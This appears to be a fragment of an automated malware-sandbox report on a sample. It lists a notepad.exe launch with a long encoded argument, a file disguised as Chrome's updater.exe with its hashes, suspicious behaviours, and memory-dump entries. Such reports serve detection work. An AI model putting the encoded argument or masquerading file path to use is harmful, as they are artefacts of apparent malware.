C:\Windows\System32\notepad.exeC:\Windows\System32\notepad.exe xzdqclthzpcazp0 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvsjpN5Mqdy4DBfa6KATFfaKQjZcNqd1938GRB8dGIm2jUo1P1EwqD6WsAjiwuDAWLCfR3BRzADWgpJ7CQxFR7+anCrIhDT/00bieUv+n3qzA/ZBTeGzJOEzp2ufDT4ez7i94dFOd7htQWVDfk0FvX4a+088kTIG70C+qoBp7PPo1o2A5n8KneHMS5/guyM+nQkyz5PCuPtW1otcyRyfkXuJFiqnw4xHcIav5OP5k07szbPwxOTbqWzmU88osXNGi3m9t4Gwg0G56kg7iABsHbrK5UzmJ/FgcEz0jZ/3un+gS+Rf+IWiuYLXvFLT3dhSYQEp2MbWtYrce1ynEL2g4m1i3nZh07E/ntkN3OenhsoDXadhJLavl9NK0sNtCm2olw7Es0i9g5kp1KX++H2R+p8TerO894R0g6VcrvRRJ+3FNfFJEDMYbyeu61ZEsJe2P9UVJBbbbkXTZny0JoLyKbpVAGAT9wmmSPrpsDA8G3bbPD2mzExQDUSq6vDCincR1pfndSpJ6ETOEAak8MK+m/fKPDk8iiEXOF+mvhBrtYGTnSCz2kL1bsCs/yWKCKTGO/4=4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.5MB
MD53db308a4a293420df30a444944f2ccb6
SHA14cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
SHA256a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
SHA512a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.5MB
MD53db308a4a293420df30a444944f2ccb6
SHA14cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
SHA256a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
SHA512a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
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\Program Files\Google\Chrome\updater.exeFilesize
2.5MB
MD53db308a4a293420df30a444944f2ccb6
SHA14cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
SHA256a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
SHA512a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
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memory/284-113-0x0000000000000000-mapping.dmp
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memory/368-134-0x0000000000000000-mapping.dmp
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memory/520-79-0x0000000000000000-mapping.dmp
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memory/540-90-0x0000000000000000-mapping.dmp
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memory/572-121-0x0000000000000000-mapping.dmp
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memory/592-136-0x0000000000000000-mapping.dmp
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memory/616-68-0x0000000000000000-mapping.dmp
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memory/616-129-0x0000000000000000-mapping.dmp
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memory/636-124-0x0000000000000000-mapping.dmp
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memory/636-92-0x0000000000000000-mapping.dmp
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memory/728-116-0x0000000000000000-mapping.dmp
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memory/772-83-0x0000000000000000-mapping.dmp
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memory/796-137-0x0000000000060000-0x0000000000067000-memory.dmpFilesize
28KB
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memory/796-139-0x0000000000000000-mapping.dmp
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memory/796-140-0x0000000000060000-0x0000000000067000-memory.dmpFilesize
28KB
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memory/796-141-0x00000000002D0000-0x00000000002D6000-memory.dmpFilesize
24KB
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memory/832-66-0x0000000000000000-mapping.dmp
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memory/836-76-0x0000000000000000-mapping.dmp
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memory/872-81-0x0000000000000000-mapping.dmp
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memory/900-115-0x0000000000000000-mapping.dmp
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memory/1028-111-0x0000000000000000-mapping.dmp
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memory/1068-117-0x0000000000000000-mapping.dmp
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memory/1080-72-0x0000000000000000-mapping.dmp
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memory/1100-69-0x0000000000000000-mapping.dmp
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memory/1112-84-0x0000000000000000-mapping.dmp
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memory/1116-114-0x0000000000000000-mapping.dmp
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memory/1120-98-0x0000000000000000-mapping.dmp
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memory/1120-131-0x0000000000000000-mapping.dmp
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memory/1136-132-0x0000000000000000-mapping.dmp
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memory/1136-99-0x0000000000000000-mapping.dmp
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memory/1176-82-0x0000000000000000-mapping.dmp
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memory/1176-122-0x0000000000000000-mapping.dmp
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memory/1240-120-0x0000000000000000-mapping.dmp
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memory/1272-110-0x0000000000000000-mapping.dmp
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memory/1276-126-0x0000000000000000-mapping.dmp
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memory/1276-94-0x0000000000000000-mapping.dmp
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memory/1312-112-0x0000000000000000-mapping.dmp
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memory/1336-70-0x0000000000000000-mapping.dmp
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memory/1340-71-0x0000000000000000-mapping.dmp
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memory/1344-78-0x0000000000000000-mapping.dmp
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memory/1376-88-0x0000000000000000-mapping.dmp
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memory/1508-77-0x0000000000000000-mapping.dmp
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memory/1544-63-0x000000000266B000-0x000000000268A000-memory.dmpFilesize
124KB
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memory/1544-62-0x0000000002664000-0x0000000002667000-memory.dmpFilesize
12KB
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memory/1544-64-0x000000000266B000-0x000000000268A000-memory.dmpFilesize
124KB
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memory/1544-61-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
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memory/1544-60-0x000007FEECC10000-0x000007FEED76D000-memory.dmpFilesize
11.4MB
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memory/1544-59-0x000007FEED770000-0x000007FEEE193000-memory.dmpFilesize
10.1MB
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memory/1544-56-0x0000000000000000-mapping.dmp
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memory/1552-65-0x0000000000000000-mapping.dmp
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memory/1568-67-0x0000000000000000-mapping.dmp
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memory/1568-97-0x0000000000000000-mapping.dmp
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memory/1592-130-0x0000000000000000-mapping.dmp
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memory/1596-118-0x0000000000000000-mapping.dmp
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memory/1600-133-0x0000000000000000-mapping.dmp
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memory/1600-100-0x0000000000000000-mapping.dmp
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memory/1616-86-0x0000000000000000-mapping.dmp
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memory/1620-119-0x0000000000000000-mapping.dmp
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memory/1632-109-0x0000000000000000-mapping.dmp
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memory/1688-55-0x000007FEFC5A1000-0x000007FEFC5A3000-memory.dmpFilesize
8KB
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memory/1688-58-0x00000000000A0000-0x00000000002F0000-memory.dmpFilesize
2.3MB
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memory/1688-54-0x000000001B520000-0x000000001B770000-memory.dmpFilesize
2.3MB
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memory/1712-146-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-156-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-148-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-160-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-150-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-152-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-158-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-143-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-162-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-159-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-154-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-167-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-144-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-164-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-165-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1712-166-0x0000000000070000-0x0000000000090000-memory.dmpFilesize
128KB
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memory/1712-153-0x0000000140000000-0x0000000140809000-memory.dmpFilesize
8.0MB
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memory/1732-95-0x0000000000000000-mapping.dmp
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memory/1732-127-0x0000000000000000-mapping.dmp
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memory/1780-125-0x0000000000000000-mapping.dmp
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memory/1780-93-0x0000000000000000-mapping.dmp
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memory/1832-91-0x0000000000000000-mapping.dmp
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memory/1888-73-0x0000000000000000-mapping.dmp
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memory/1892-85-0x0000000000000000-mapping.dmp
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memory/1908-135-0x0000000000FF0000-0x0000000000FF6000-memory.dmpFilesize
24KB
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memory/1916-106-0x00000000011C4000-0x00000000011C7000-memory.dmpFilesize
12KB
-
memory/1916-108-0x00000000011CB000-0x00000000011EA000-memory.dmpFilesize
124KB
-
memory/1916-107-0x00000000011C4000-0x00000000011C7000-memory.dmpFilesize
12KB
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memory/1916-105-0x000007FEECCF0000-0x000007FEED84D000-memory.dmpFilesize
11.4MB
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memory/1916-102-0x0000000000000000-mapping.dmp
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memory/1924-96-0x0000000000000000-mapping.dmp
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memory/1924-128-0x0000000000000000-mapping.dmp
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memory/1936-123-0x0000000000000000-mapping.dmp
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memory/1996-80-0x0000000000000000-mapping.dmp
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memory/2000-75-0x0000000000000000-mapping.dmp
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memory/2040-74-0x0000000000000000-mapping.dmp